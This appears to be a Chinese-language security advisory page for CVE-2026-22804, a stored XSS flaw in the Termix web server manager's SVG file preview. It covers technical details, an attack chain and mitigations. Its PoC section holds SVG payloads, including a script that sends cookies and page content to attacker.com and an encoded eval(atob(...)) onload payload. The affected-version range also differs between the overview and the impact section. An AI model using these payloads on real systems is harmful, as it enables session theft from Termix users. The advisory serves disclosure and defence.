IPBUF安全漏洞报告
English
CVE-2026-22804 CVSS 8.0 高危

CVE-2026-22804 Termix File Manager存储型XSS漏洞

披露日期: 2026-01-12

漏洞信息

漏洞编号
CVE-2026-22804
漏洞类型
存储型XSS
CVSS评分
8.0 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
Termix

相关标签

存储型XSSTermixSVG文件管理器Web安全CVSS 8.0高危漏洞CVE-2026-22804

漏洞概述

Termix是一款基于Web的服务器管理平台,提供SSH终端、隧道和文件编辑功能。在1.7.0至1.9.0版本中,其文件管理器组件存在存储型跨站脚本(XSS)漏洞。应用程序在渲染SVG文件内容前未进行充分的消毒处理,导致恶意SVG文件中的JavaScript代码可以在用户预览时执行。攻击者可以通过入侵已托管的SSH服务器,上传包含恶意脚本的SVG文件。当Termix用户使用文件预览功能查看该文件时,攻击者的JavaScript代码将在应用程序上下文中执行,可能导致会话劫持、敏感数据窃取或进一步攻击。该漏洞位于src/ui/desktop/apps/file-manager/components/FileViewer.tsx文件中,已在1.10.0版本中修复。

技术细节

该漏洞是典型的存储型XSS问题,源于Termix文件管理器组件对SVG文件内容的处理缺陷。SVG格式支持内联JavaScript代码,攻击者可以利用这一特性在SVG文件中嵌入恶意脚本。当用户通过Termix的文件预览功能查看这些SVG文件时,应用程序直接渲染文件内容而未进行安全过滤,导致嵌入的JavaScript代码在用户浏览器中执行。由于文件预览在应用程序上下文中运行,攻击者可以获取用户会话Cookie、模拟用户操作或进行横向移动攻击。漏洞利用前提是攻击者已获取SSH服务器的访问权限,能够上传文件到受管理的服务器上。修复方案需要在文件预览组件中添加SVG内容的消毒处理,或完全禁止SVG文件的JavaScript执行。

攻击链分析

STEP 1
步骤1
攻击者通过暴力破解、凭证泄露或其他方式获取SSH服务器的访问权限
STEP 2
步骤2
攻击者将包含恶意JavaScript代码的SVG文件上传到受管理的SSH服务器中
STEP 3
步骤3
Termix用户通过文件管理器浏览服务器文件并预览恶意SVG文件
STEP 4
步骤4
应用程序渲染SVG文件时未消毒处理,触发嵌入的JavaScript代码执行
STEP 5
步骤5
恶意脚本在用户浏览器上下文中执行,可窃取会话Cookie、敏感数据或执行进一步攻击

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- 恶意SVG文件示例 - 存储型XSS PoC --> <svg xmlns="http://www.w3.org/2000/svg"> <script>alert(document.cookie)</script> <rect width="100" height="100" fill="red"/> </svg> <!-- 更复杂的XSS payload --> <svg xmlns="http://www.w3.org/2000/svg"> <script> // 窃取用户会话信息 fetch('https://attacker.com/steal?cookie=' + encodeURIComponent(document.cookie)) // 获取页面内容 fetch('https://attacker.com/steal?data=' + encodeURIComponent(document.body.innerHTML)) </script> </svg> <!-- 绕过过滤的SVG payload --> <svg xmlns="http://www.w3.org/2000/svg" onload="eval(atob('YWxlcnQoJ1hTUyBFeHBsb2l0ZWQnKQ=='))"> </svg>

影响范围

Termix >= 1.7.0
Termix < 1.9.0

防御指南

临时缓解措施
如果无法立即升级,可临时禁用Termix文件管理器的SVG文件预览功能,或限制对未知来源的SSH服务器的访问。同时建议对托管的SSH服务器实施严格的访问控制,防止未经授权的文件上传。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表